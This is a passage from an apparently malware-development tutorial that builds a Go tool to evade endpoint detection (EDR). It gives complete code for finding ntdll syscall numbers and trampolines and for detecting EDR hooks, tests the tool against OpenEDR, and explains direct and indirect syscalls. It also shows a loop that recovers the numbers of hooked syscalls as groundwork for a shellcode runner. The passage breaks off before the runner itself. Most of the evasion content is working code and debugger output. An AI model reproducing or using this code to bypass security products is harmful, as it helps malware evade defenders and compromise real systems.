	e_lfanew := *((*uint32)(unsafe.Pointer(dll.address + 0x3c)))
	ntHeader := dll.address + uintptr(e_lfanew)
	fileHeader := ntHeader + 0x4
	// https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header
	optionalHeader := fileHeader + 0x14 // 0x14 is the size of the image_file_header struct
	exportDir := optionalHeader + 0x70  // offset to export table
	exportDirOffset := *((*uint32)(unsafe.Pointer(exportDir)))
	dll.exportDirectoryAddress = dll.address + uintptr(exportDirOffset)
	return dll.exportDirectoryAddress
}
```

### Extract the values from memory into the struct

&#x20;func (dll \*dllstruct) GetImageExportDirectory() {

```go

	dll.exportDirectory.Characteristics = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress)))
	dll.exportDirectory.TimeDateStamp = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x4)))
	dll.exportDirectory.MajorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0x8)))
	dll.exportDirectory.MinorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0xa)))
	dll.exportDirectory.Name = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0xc)))
	dll.exportDirectory.Base = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x10)))
	dll.exportDirectory.NumberOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x14)))
	dll.exportDirectory.NumberOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x18)))
	dll.exportDirectory.AddressOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x1c)))
	dll.exportDirectory.AddressOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x20)))
	dll.exportDirectory.AddressOfNameOrdinals = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x24)))

}
```

What this code does is to take the pointers to the memory locations and cast them to Golang types before placing them into the struct

### Extract the exported function names, addresses, SSNs, syscall function address and whether there are hooks installed

The next and final step is to get the export function information. A struct was defined with all the required information&#x20;

```go
type Exportfunc struct {
	funcRVA         uint32  // relative address to the base address of the dll
	functionAddress uintptr // absolute address
	name            string  // name of the exported function
	syscallno       uint16  // SSN
	tramboline      uintptr // syscall ;ret; address location
	isHooked        bool    // Is the function hooked?
}
```

A for loop was used loop through the exported functions

#### function RVA and Name

```go
		funcRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfFunctions) + uintptr((i+1)*0x4)))))
		nameRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfNames) + uintptr(i*0x4)))))
		nameAddr := dll.address + uintptr(nameRVA)
		nameRVAbyte := (*[4]byte)(unsafe.Pointer(nameAddr))[:]
		name := windows.BytePtrToString(&nameRVAbyte[0])
```

The above code is used to extract the function relative address and then read then function name  bytes from memory and turn it to string

#### Syscall Tramboline

This value will be useful when we write the code for the indirect system calls.&#x20;

Let's have another look in windbg to identify the byte sequence of a syscall;ret;&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FuTgsfxrryazCHEFUL70J%2Fimage.png?alt=media&amp;token=a81add40-ca53-43fa-8e90-7e6af5b0a62c" alt=""><figcaption><p>syscall;ret</p></figcaption></figure>

From the screenshot above we can see that the byte sequence for a syscall;ret is `\x0f\x05\xc3`. So when we identify the function address we start a loop to identify the location of the syscall return. I am pretty sure that any syscall from the ntdll could be used without raising any flags by the EDR when we implement indirect syscalls but I decided to find the address of the corresponding syscall instruction for the exported function since it was simple enough.

Here is the code:

```go
		absAddress = dll.address + uintptr(funcRVA)
		for j := 0; j < 100; j++ {
			if *(*byte)(unsafe.Pointer(absAddress)) == 0x0f {
				if *(*byte)(unsafe.Pointer(absAddress + 1)) == 0x05 {
					if *(*byte)(unsafe.Pointer(absAddress + 2)) == 0xc3 {
						break
					}
				}
			}
			absAddress += 1
		}
```

#### Storing the values in the Exportfunc slice

[With a few exceptions](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-nt-and-zw-versions-of-the-native-system-services-routines), each native system services routine has two slightly different versions that have similar names but different prefixes. For example, calls to NtCreateFile and ZwCreateFile perform similar operations and are, in fact, serviced by the same kernel-mode system routine. For system calls from user mode, the Nt and Zw versions of a routine behave identically. For calls from a kernel-mode driver, the Nt and Zw versions of a routine differ in how they handle the parameter values that the caller passes to the routine.

A kernel-mode driver calls the Zw version of a native system services routine to inform the routine that the parameters come from a trusted, kernel-mode source. In this case, the routine assumes that it can safely use the parameters without first validating them. However, if the parameters might be from either a user-mode source or a kernel-mode source, the driver instead calls the Nt version of the routine, which determines, based on the history of the calling thread, whether the parameters originated in user mode or kernel mode. For more information about how the routine distinguishes user-mode parameters from kernel-mode parameters.

We will split these functions into two slices. It will later allow us to sort these functions and unhook them using the [halo's gate](https://blog.sektor7.net/#!res/2021/halosgate.md).

```go
		if strings.HasPrefix(name, "Nt") && !slices.Contains(exclusions, name) {
			funcExp := Exportfunc{
				funcRVA:         funcRVA,
				functionAddress: dll.address + uintptr(funcRVA),
				name:            name,
				tramboline:      absAddress,
			}
			funcExp.GetSyscallNumbers(dll.address)
			dll.exportedNtFunctions = append(dll.exportedNtFunctions, funcExp)
		}

		if strings.HasPrefix(name, "Zw") {
			funcExp := Exportfunc{
				funcRVA:         funcRVA,
				functionAddress: dll.address + uintptr(funcRVA),
				name:            name,
				tramboline:      absAddress,
			}
			funcExp.GetSyscallNumbers(dll.address)
			dll.exportedZwFunctions = append(dll.exportedZwFunctions, funcExp)
		}
```

We then sort them by the function address&#x20;

```go
	sort.SliceStable(dll.exportedNtFunctions, func(i, j int) bool {
		return (dll.exportedNtFunctions)[i].funcRVA < (dll.exportedNtFunctions)[j].funcRVA
	})
	sort.SliceStable(dll.exportedZwFunctions, func(i, j int) bool {
		return (dll.exportedZwFunctions)[i].funcRVA < (dll.exportedZwFunctions)[j].funcRVA
	})
```

We the write a function to print the exports

```go
func (dll *dllstruct) PrintExports() {
	noPrint := []string{"NtQuerySystemTime", "ZwQuerySystemTime"}

	tNt := table.NewWriter()
	tNt.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Tramboline", "Hooked?"})
	for i, fun := range dll.exportedNtFunctions {
		if slices.Contains(noPrint, fun.name) {
			continue
		}
		tNt.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.tramboline), fun.isHooked})
	}
	tZw := table.NewWriter()
	tZw.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Tramboline", "Hooked?"})
	for i, fun := range dll.exportedZwFunctions {
		if slices.Contains(noPrint, fun.name) {
			continue
		}
		tZw.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.tramboline), fun.isHooked})
	}
	fmt.Println(tNt.Render())
	fmt.Println(tZw.Render())
}
```

### Results & Testing against the EDR

We will first run the code against windows defender that doesn't use API hooks to check if the addresses, names, SSNs and trampoline addresses match the functions&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FGLtVYxW3jS5v6uaRYlQl%2Fimage.png?alt=media&amp;token=04ad114e-6385-4835-a5bc-1da267e086d6" alt=""><figcaption><p>Script Output</p></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FEmhQYn7EoidXB1cEinil%2Fimage.png?alt=media&amp;token=326f9aa0-8204-42b8-9386-552347074010" alt=""><figcaption><p>Windbg cross check</p></figcaption></figure>

The values from the script and the script and windbg are a complete match. Great.

Let's run the script against OpenEDR:

To get only the hooked functions we use the following command

```
 .\unhk.exe | findstr true
  - or - 
 go run . | findstr true
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F5bCWSg0Mpz44yDjooOJq%2Fimage.png?alt=media&amp;token=068f52e1-8360-4f73-9703-6a88edf3b496" alt=""><figcaption><p>OpenEDR hooks</p></figcaption></figure>

A few APIs were found to be hooked. Let's check in the Debugger if that's the case

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fy6dPw1n3qT4rSRWoXbGD%2Fimage.png?alt=media&amp;token=27974cdc-0d07-4d3f-846c-f37e5a06e8ad" alt=""><figcaption><p>Hooked Functions</p></figcaption></figure>

### Complete Code

```go
package main

import (
	"fmt"
	"log"
	"slices"
	"sort"
	"strings"
	"unsafe"

	"github.com/jedib0t/go-pretty/v6/table"
	"golang.org/x/sys/windows"
)

type IMAGE_EXPORT_DIRECTORY struct { //offsets
	Characteristics       uint32 // 0x0
	TimeDateStamp         uint32 // 0x4
	MajorVersion          uint16 // 0x8
	MinorVersion          uint16 // 0xa
	Name                  uint32 // 0xc
	Base                  uint32 // 0x10
	NumberOfFunctions     uint32 // 0x14
	NumberOfNames         uint32 // 0x18
	AddressOfFunctions    uint32 // 0x1c
	AddressOfNames        uint32 // 0x20
	AddressOfNameOrdinals uint32 // 0x24
}
type Exportfunc struct {
	funcRVA         uint32  // relative address to the base address of the dll
	functionAddress uintptr // absolute address
	name            string  // name of the exported function
	syscallno       uint16  // SSN
	trampoline      uintptr // syscall ;ret; address location
	isHooked        bool    // Is the function hooked?
}

type dllstruct struct {
	name                   string
	address                uintptr
	exportDirectoryAddress uintptr
	exportDirectory        IMAGE_EXPORT_DIRECTORY
	exportedNtFunctions    []Exportfunc
	exportedZwFunctions    []Exportfunc
}

func main() {
	PrintModules()
	dll, err := GetStructOfLoadedDll("ntdll.dll")
	if err != nil {
		log.Fatalln(err)
	}
	fmt.Printf("\n[+] Base Address of dll %s is 0x%x\n\n", dll.name, dll.address)

	fmt.Printf("[+] Export Table Address 0x%x\n\n", dll.getExportTableAddress())
	dll.GetImageExportDirectory()
	dll.getExportTableAddress()
	dll.GetModuleExports()
	dll.PrintExports()
}

func (dll *dllstruct) PrintExports() {
	noPrint := []string{"NtQuerySystemTime", "ZwQuerySystemTime"}

	tNt := table.NewWriter()
	tNt.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Trampoline", "Hooked?"})
	for i, fun := range dll.exportedNtFunctions {
		if slices.Contains(noPrint, fun.name) {
			continue
		}
		tNt.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.trampoline), fun.isHooked})
	}
	tZw := table.NewWriter()
	tZw.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Trampoline", "Hooked?"})
	for i, fun := range dll.exportedZwFunctions {
		if slices.Contains(noPrint, fun.name) {
			continue
		}
		tZw.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.trampoline), fun.isHooked})
	}
	fmt.Println(tNt.Render())
	fmt.Println(tZw.Render())
}

func (fun *Exportfunc) GetSyscallNumbers(address uintptr) {

	funcbytes := (*[5]byte)(unsafe.Pointer(fun.functionAddress))[:]

	if funcbytes[0] == 0x4c && funcbytes[1] == 0x8b && funcbytes[2] == 0xd1 && funcbytes[3] == 0xb8 { // Check if the function is hooked.
		fun.syscallno = *(*uint16)(unsafe.Pointer(&funcbytes[4])) // Get Syscall Number
		fun.isHooked = false
	} else {
		fun.syscallno = 0xffff // when hooked set the syscall number 0xff
		fun.isHooked = true
	}

	//fmt.Printf("Func RVA: %x , nameRVA: %x , name: %s, syscallno : %x\n", exFunc.funcRVA, exFunc.nameRVA, exFunc.name, exFunc.syscallno)

}

func (dll *dllstruct) GetModuleExports() {

	exclusions := []string{"NtdllDefWindowProc_A", "NtdllDefWindowProc_W", "NtdllDialogWndProc_A", "NtdllDialogWndProc_W", "NtGetTickCount"}

	var absAddress uintptr

	for i := 0; i < int(dll.exportDirectory.NumberOfNames); i++ {
		funcRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfFunctions) + uintptr((i+1)*0x4)))))
		nameRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfNames) + uintptr(i*0x4)))))
		nameAddr := dll.address + uintptr(nameRVA)
		nameRVAbyte := (*[4]byte)(unsafe.Pointer(nameAddr))[:]
		name := windows.BytePtrToString(&nameRVAbyte[0])

		absAddress = dll.address + uintptr(funcRVA)
		for j := 0; j < 100; j++ {
			if *(*byte)(unsafe.Pointer(absAddress)) == 0x0f {
				if *(*byte)(unsafe.Pointer(absAddress + 1)) == 0x05 {
					if *(*byte)(unsafe.Pointer(absAddress + 2)) == 0xc3 {
						break
					}
				}
			}
			absAddress += 1
		}

		if strings.HasPrefix(name, "Nt") && !slices.Contains(exclusions, name) {
			funcExp := Exportfunc{
				funcRVA:         funcRVA,
				functionAddress: dll.address + uintptr(funcRVA),
				name:            name,
				trampoline:      absAddress,
			}
			funcExp.GetSyscallNumbers(dll.address)
			dll.exportedNtFunctions = append(dll.exportedNtFunctions, funcExp)
		}

		if strings.HasPrefix(name, "Zw") {
			funcExp := Exportfunc{
				funcRVA:         funcRVA,
				functionAddress: dll.address + uintptr(funcRVA),
				name:            name,
				trampoline:      absAddress,
			}
			funcExp.GetSyscallNumbers(dll.address)
			dll.exportedZwFunctions = append(dll.exportedZwFunctions, funcExp)
		}

	}
	sort.SliceStable(dll.exportedNtFunctions, func(i, j int) bool {
		return (dll.exportedNtFunctions)[i].funcRVA < (dll.exportedNtFunctions)[j].funcRVA
	})
	sort.SliceStable(dll.exportedZwFunctions, func(i, j int) bool {
		return (dll.exportedZwFunctions)[i].funcRVA < (dll.exportedZwFunctions)[j].funcRVA
	})
}

// Get Image Export directory. We are interested in
// - AddressofFunctions
// - AddressOfNames
// - AddressOFNameOrdinals (maybe in the future)
// - Number of functions
func (dll *dllstruct) GetImageExportDirectory() {

	dll.exportDirectory.Characteristics = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress)))
	dll.exportDirectory.TimeDateStamp = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x4)))
	dll.exportDirectory.MajorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0x8)))
	dll.exportDirectory.MinorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0xa)))
	dll.exportDirectory.Name = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0xc)))
	dll.exportDirectory.Base = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x10)))
	dll.exportDirectory.NumberOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x14)))
	dll.exportDirectory.NumberOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x18)))
	dll.exportDirectory.AddressOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x1c)))
	dll.exportDirectory.AddressOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x20)))
	dll.exportDirectory.AddressOfNameOrdinals = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x24)))

}

func (dll *dllstruct) getExportTableAddress() uintptr {
	e_lfanew := *((*uint32)(unsafe.Pointer(dll.address + 0x3c)))
	ntHeader := dll.address + uintptr(e_lfanew)
	fileHeader := ntHeader + 0x4
	// https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header
	optionalHeader := fileHeader + 0x14 // 0x14 is the size of the image_file_header struct
	exportDir := optionalHeader + 0x70  // offset to export table
	exportDirOffset := *((*uint32)(unsafe.Pointer(exportDir)))
	dll.exportDirectoryAddress = dll.address + uintptr(exportDirOffset)
	return dll.exportDirectoryAddress
}

func GetStructOfLoadedDll(name string) (dllstruct, error) {
	modules := ListDllFromPEB()
	for _, module := range modules {
		if module.name == name {
			return module, nil
		}

	}
	return dllstruct{}, fmt.Errorf("dll not Found")
}

func PrintModules() {
	t := table.NewWriter()
	fmt.Printf("---------------------------------------------\nLoaded modules in current process\n")
	t.AppendHeader(table.Row{"#", "DLL Name", "Address"})

	for i, module := range ListDllFromPEB() {
		t.AppendRow(table.Row{i, module.name, fmt.Sprintf("0x%x", module.address)})
	}
	fmt.Println(t.Render())
}

// adds all loaded modules and their base addresses in a slice
func ListDllFromPEB() []dllstruct {

	peb := windows.RtlGetCurrentPeb()
	moduleList := peb.Ldr.InMemoryOrderModuleList
	a := moduleList.Flink
	loadedModules := []dllstruct{}
	for {

		listentry := uintptr(unsafe.Pointer(a))
		// -0x10 beginning of the _LDR_DATA_TABLE_ENTRY_ structure
		// +0x30 Dllbase address
		// +0x58 +0x8 address holding the address pointing to base dllname
		// offsets different for 32-bit processes
		DllBase := uintptr(listentry) - 0x10 + 0x30
		BaseDllName := uintptr(listentry) - 0x10 + 0x58 + 0x8

		v := *((*uintptr)(unsafe.Pointer(BaseDllName)))
		//fmt.Printf("%p\n", (unsafe.Pointer(v))) // prints the address that holds the dll name

		s := ((*uint16)(unsafe.Pointer(v))) // turn uintptr to *uint16
		dllNameStr := windows.UTF16PtrToString(s)
		if dllNameStr == "" {
			break
		}

		dllbaseaddr := *((*uintptr)(unsafe.Pointer(DllBase)))
		//fmt.Printf("%p\n", (unsafe.Pointer(dllbaseaddr))) // prints the dll base addr
		loadedModules = append(loadedModules, dllstruct{
			name:                   dllNameStr,
			address:                dllbaseaddr,
			exportDirectoryAddress: 0,
			exportDirectory:        IMAGE_EXPORT_DIRECTORY{Characteristics: 0, TimeDateStamp: 0, MajorVersion: 0, MinorVersion: 0, Name: 0, Base: 0, NumberOfFunctions: 0, NumberOfNames: 0, AddressOfFunctions: 0, AddressOfNames: 0, AddressOfNameOrdinals: 0},
			exportedNtFunctions:    []Exportfunc{},
			exportedZwFunctions:    []Exportfunc{},
		})
		a = a.Flink
	}

	return loadedModules
}

```


# 4. Direct and Indirect Syscalls (shellcode runner)

\#syscalls #directsyscalls #indirectsyscalls #Golang #EDREvasion

### Intro&#x20;

In the previous [section ](/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks)we worked on a piece of code to detect if ntdll.dll was hooked by the EDR installed on the machine.&#x20;

Once a hook is detected we have a few choices. We could replace the hook bytes with the original bytes by calculating the SSN. This is a similar approach to loading a [fresh copy from the disk](/evasion/edr-bypass/2.-userland-hooks/2.-load-a-fresh-copy-of-the-dll-from-disk). The only difference is that we don't remap the whole dll we just unhook the functions of interest. The issue with this approach is that we still have to modify the dll in memory. This includes using the suspicious WinAPIs VirtualProtect(Ex) WriteProcessMemory etc. Another issue with this approach is that theese functions themselves might be hooked. &#x20;

This is where the Direct and Indirect syscalls come in handy.&#x20;

### What is a syscall ?

#### Sequence of events when calling windows APIs

Before going into detail on what a syscall is let's analyze the sequence of events that take place when a simple windows API function is called. The following code is used for analysis.&#x20;

```go
func main() {
	PROCESS_ALL_ACCESS := 0x1F0FFF
	time.Sleep(30 * time.Second)
	println("run")
	pHandle, _ := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, 9340)
	windows.CloseHandle(pHandle)
}

```

All we do in this code is sleep for 30 seconds , just to have enough time to attach windbg and set our breakpoints get a handle on a process and then close the handle.&#x20;

When we try to set a breakpoint on kernel32!OpenProcess we get the following error&#x20;

```c
0:006> bp kernel32!OpenProcess
Couldn't resolve error at 'kernel32!OpenProcess'

```

To list all functions starting with O in kernel32 we use the following command

{% code lineNumbers="true" %}

```c
0:006> x /D /f KERNEL32!o*
 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

00007ffa`9aa83a32 KERNEL32!OpenFile$fin$0 (void)
00007ffa`9aa36330 KERNEL32!OOBEComplete (void)
00007ffa`9aa2832c KERNEL32!OpenSortIdKey (void)
00007ffa`9aa37e20 KERNEL32!OOBECompleteWnfQueryCallback (void)
00007ffa`9aa896c0 KERNEL32!OOBECompleteWnfWaitCallback (void)
00007ffa`9aa39260 KERNEL32!OpenFileMappingWStub (OpenFileMappingWStub)
00007ffa`9aa40340 KERNEL32!OpenWaitableTimerW (OpenWaitableTimerW)
00007ffa`9aa39640 KERNEL32!OutputDebugStringWStub (OutputDebugStringWStub)
00007ffa`9aa40300 KERNEL32!OpenEventA (OpenEventA)
00007ffa`9aa8b440 KERNEL32!OpenConsoleW (OpenConsoleW)
00007ffa`9aa39720 KERNEL32!OutputDebugStringAStub (OutputDebugStringAStub)
00007ffa`9aa846b0 KERNEL32!OpenWaitableTimerA (OpenWaitableTimerA)
00007ffa`9aa34730 KERNEL32!OpenProcessStub (OpenProcessStub)
00007ffa`9aa40310 KERNEL32!OpenEventW (OpenEventW)
00007ffa`9aa834e0 KERNEL32!OpenFile (OpenFile)
00007ffa`9aa82e70 KERNEL32!OpenPrivateNamespaceA (OpenPrivateNamespaceA)
00007ffa`9aa5be60 KERNEL32!OpenConsoleWStub (OpenConsoleWStub)
00007ffa`9aa39e00 KERNEL32!OpenProfileUserMapping (OpenProfileUserMapping)
00007ffa`9aa845b0 KERNEL32!OpenMutexA (OpenMutexA)
00007ffa`9aa7cc50 KERNEL32!OpenJobObjectA (OpenJobObjectA)
00007ffa`9aa5be70 KERNEL32!OpenPrivateNamespaceWStub (OpenPrivateNamespaceWStub)
00007ffa`9aa40330 KERNEL32!OpenSemaphoreW (OpenSemaphoreW)
00007ffa`9aa470e0 KERNEL32!OpenFileMappingA (OpenFileMappingA)
00007ffa`9aa7ccd0 KERNEL32!OpenJobObjectW (OpenJobObjectW)
00007ffa`9aa84630 KERNEL32!OpenSemaphoreA (OpenSemaphoreA)
00007ffa`9aa369b0 KERNEL32!OpenThreadStub (OpenThreadStub)
00007ffa`9aa40320 KERNEL32!OpenMutexW (OpenMutexW)
00007ffa`9aa46ca0 KERNEL32!OpenFileByIdStub (OpenFileByIdStub)

```

{% endcode %}

What we are interested here is to get a break point `00007ffa9aa34730 KERNEL32!OpenProcessStub` on line 16. We will then follow execution to understand what happens.

Let's set a breakpoint in windbg using the following command&#x20;

```
0:006> bp KERNEL32!OpenProcessStub
```

Then sending the command `g` resumes execution until our breakpoint hit.

{% code lineNumbers="true" %}

```c
0:006> g
Breakpoint 0 hit
*** WARNING: Unable to verify timestamp for C:\Users\ALEXAN~1\AppData\Local\Temp\go-build3312435584\b001\exe\OpenProc.exe
KERNEL32!OpenProcessStub:
00007ffa`9aa34730 48ff25490a0700  jmp     qword ptr [KERNEL32!_imp_OpenProcess (00007ffa`9aaa5180)] ds:00007ffa`9aaa5180={KERNELBASE!OpenProcess (00007ffa`998bc580)}

```

{% endcode %}

The jmp instruction on line 5 directs execution to the address held at 00007ffa\`9aaa5180, which is the address of kernelbase!OpenProcess.&#x20;

<pre class="language-c"><code class="lang-c">0:000> dq 00007ffa`9aaa5180 L1 
00007ffa`9aaa5180  00007ffa`998bc580
0:000> u 00007ffa`998bc580
KERNELBASE!OpenProcess:
00007ffa`998bc580 4c8bdc          mov     r11,rsp
<strong>00007ffa`998bc583 4883ec68        sub     rsp,68h
</strong></code></pre>

So far we called the OpenProcess api from kernel32 which forwards our request to kernelbase to execute. So where do syscalls come in?&#x20;

Let's dig further into the kernelbase where the actual implementation of the OpenProcess function is.&#x20;

{% code lineNumbers="true" %}

```c
KERNELBASE!OpenProcess:
00007ffa`998bc580 4c8bdc          mov     r11,rsp
00007ffa`998bc583 4883ec68        sub     rsp,68h
00007ffa`998bc587 498363c000      and     qword ptr [r11-40h],0
00007ffa`998bc58c 4d8d4bb8        lea     r9,[r11-48h]
00007ffa`998bc590 4963c0          movsxd  rax,r8d
00007ffa`998bc593 0f57c0          xorps   xmm0,xmm0
00007ffa`998bc596 c744243030000000 mov     dword ptr [rsp+30h],30h
00007ffa`998bc59e 4d8d43c8        lea     r8,[r11-38h]
00007ffa`998bc5a2 498363d000      and     qword ptr [r11-30h],0
00007ffa`998bc5a7 f7da            neg     edx
00007ffa`998bc5a9 498943b8        mov     qword ptr [r11-48h],rax
00007ffa`998bc5ad 8bd1            mov     edx,ecx
00007ffa`998bc5af 498d4b20        lea     rcx,[r11+20h]
00007ffa`998bc5b3 1bc0            sbb     eax,eax
00007ffa`998bc5b5 83e002          and     eax,2
00007ffa`998bc5b8 89442448        mov     dword ptr [rsp+48h],eax
00007ffa`998bc5bc 498363d800      and     qword ptr [r11-28h],0
00007ffa`998bc5c1 f30f7f442450    movdqu  xmmword ptr [rsp+50h],xmm0
00007ffa`998bc5c7 48ff15fa362300  call    qword ptr [KERNELBASE!_imp_NtOpenProcess (00007ffa`99aefcc8)]
00007ffa`998bc5ce 0f1f440000      nop     dword ptr [rax+rax]
00007ffa`998bc5d3 85c0            test    eax,eax
00007ffa`998bc5d5 780e            js      KERNELBASE!OpenProcess+0x65 (00007ffa`998bc5e5)
00007ffa`998bc5d7 488b842488000000 mov     rax,qword ptr [rsp+88h]
00007ffa`998bc5df 4883c468        add     rsp,68h
00007ffa`998bc5e3 c3              ret

```

{% endcode %}

Line 20: we can see another call which eventually takes us to ntdll!NtOpenProcess&#x20;

NtOpenProcess in the ntdll.dll is where the syscall resides.&#x20;

```c
00007ffa`9c12f203 b826000000      mov     eax,26h
00007ffa`9c12f208 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`9c12f210 7503            jne     ntdll!NtOpenProcess+0x15 (00007ffa`9c12f215)
00007ffa`9c12f212 0f05            syscall
00007ffa`9c12f214 c3              ret
00007ffa`9c12f215 cd2e            int     2Eh
00007ffa`9c12f217 c3              ret

```

{% @mermaid/diagram content="graph TD
kernel32!OpenProcess --> kernelBase!OpenProcess --> ntdll!NtOpenProcess " %}

#### So here comes the question again. What is a syscall and what does it actually do ?&#x20;

Under the hood, when a user-mode application calls one of these API functions, the Windows kernel handles the actual system call invocation. The transition from user mode to kernel mode is typically managed through a mechanism called a software interrupt or a similar mechanism.&#x20;

So in order to get a handle on a process all we don't really have to call either of the three functions. All we have to do is follow the [x64 calling convention ](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170)to prepare our registers and the stack move 0x26 (for this particular version of windows) to eax and call the syscall instruction.

The benefit of directly (or indirectly) calling the syscall instruction is that any EDR that relies on userland hooks for detection will be bypassed.&#x20;

### Direct or Indirect Syscalls.

#### Direct Syscalls

What "direct syscalls" means is that an asm function is written within our executable that calls the syscall instruction directly. Since syscalls are only called from ntdll.dll any calls coming from any other module should be malicious or at least flagged as anomalous. &#x20;

Direct Syscalls have served us well. One of the early articles I remember reading regarding syscalls was this one from [outflank](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/) written back in 2019.  Although direct syscalls are effective to this day EDR vendors started catching up with the technique ([elastic detection of Direct Syscall via Assembly Bytes](https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks?ultron=esl:_threat_research%2Besl_blog_post\&blade=twitter\&hulk=social\&utm_content=11321800240\&linkId=234949506)).&#x20;

The detection essentially checks if the following sequence of instructions is called from any other module other than ntdll. If that's the case it's flagged as malicious.&#x20;

<pre><code><strong>mov r10,rcx; 
</strong>mov eax,ssn;
syscall;
</code></pre>

#### Indirect Syscalls

The easiest way around this detection is to find the location of syscall within ntdll.dll and instead of directly calling syscall in our assembly function we instead use the call instruction to call the address within the ntdll that holds syscall. In our example above the function will look something like this:

```
mov r10,rcx; 
mov eax,ssn;
call addr;
```

In the [previous blog ](/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks) we stored an address value in a variable called "trampoline". The trampoline variable was the syscall instruction address for each exported function of the ntdll.

With all the knowledge we have now let's write the [shellcode runner](/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) using both direct and indirect syscalls.

### Shellcode Runner using direct and indirect syscalls

Before we start writing our shellcode runner we need to modify our code first to perform the following:

* Calculate the SSNs of the hooked functions using the adjacent unhooked functions&#x20;
  * We can do this by sorting all functions by their address
  * The SSNs are sequential for both Zw and Nt functions
  * Find the last unhooked function and extrapolate the values
* Develop the assembly functions to call the syscalls / indirect syscalls
* Write wrapper functions to call from our golang main function

Let's continue from where we left off.&#x20;

#### Calculate the SSNs of the hooked functions using the adjacent unhooked functions&#x20;

It is fairly easy to find the unhooked values since we keep our values in a slice. We will loop through the values in the slice and if a function is hooked we will increase the SSN of the previous value by 1.

Here is the unhooking function.&#x20;

```go
	for i, fun := range dll.exportedNtFunctions {
		if fun.isHooked {
			dll.exportedNtFunctions[i].syscallno = dll.exportedNtFunctions[i-1].syscallno + 1
			dll.exportedNtFunctions[i].isHooked = false
		}
	}
```

{% hint style="info" %}
As mentioned earlier we could restore the value in memory but that would require changing memory permissions therefore more opportunities for the defenders to be alerted.
{% endhint %}

In our main function we run the UnhookFuncs function and print the exports again on the host running OpenEDR.&#x20;

```go
	dll.PrintExports()
	dll.UnhookFuncs()
	dll.PrintExports()
```

